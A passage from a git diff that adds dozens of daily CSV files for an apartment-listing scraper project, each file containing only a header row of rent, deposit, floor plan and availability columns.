00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240807.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240808.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240808.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240808.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240809.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240809.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240809.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240810.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240810.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240810.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240811.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240811.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240811.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240812.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240812.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240812.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240813.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240813.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240813.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240814.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240814.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240814.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240815.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240815.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240815.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240816.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240816.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240816.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240817.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240817.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240817.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240818.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240818.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240818.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240819.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240819.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240819.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240820.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240820.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240820.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240821.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240821.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240821.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240822.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240822.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240822.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240823.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240823.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240823.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240824.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240824.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240824.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240825.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240825.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240825.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240826.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240826.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240826.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240827.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240827.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240827.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240828.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240828.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240828.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240829.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240829.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240829.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240830.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240830.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240830.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240831.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240831.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240831.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240901.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240901.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240901.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240902.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240902.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240902.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240903.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240903.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240903.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240904.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240904.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240904.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240905.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240905.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240905.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240906.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240906.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240906.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240907.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240907.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240907.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240908.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240908.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240908.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240909.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240909.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240909.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240910.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240910.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240910.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240911.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240911.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240911.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240912.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240912.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240912.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240913.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240913.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240913.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240914.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240914.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240914.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240915.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240915.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240915.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240916.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240916.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240916.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240917.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240917.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240917.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240918.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240918.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240918.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240919.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240919.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240919.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240920.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240920.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240920.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240921.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240921.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240921.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240922.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240922.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240922.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240923.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240923.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240923.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240924.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240924.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240924.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240925.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240925.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240925.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240926.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240926.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240926.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240927.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240927.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240927.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240928.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240928.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240928.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240929.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240929.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240929.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240930.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240930.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240930.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241001.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241001.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241001.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241002.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241002.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241002.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241003.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241003.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241003.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241004.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241004.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241004.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241005.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241005.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241005.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241006.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241006.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241006.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241007.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241007.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241007.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241008.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241008.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241008.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241009.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241009.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241009.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241010.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241010.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241010.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241011.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241011.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241011.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241012.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241012.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241012.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241013.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241013.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241013.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241014.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241014.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241014.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241015.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241015.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241015.csv @@ -0,0 +1 @@ 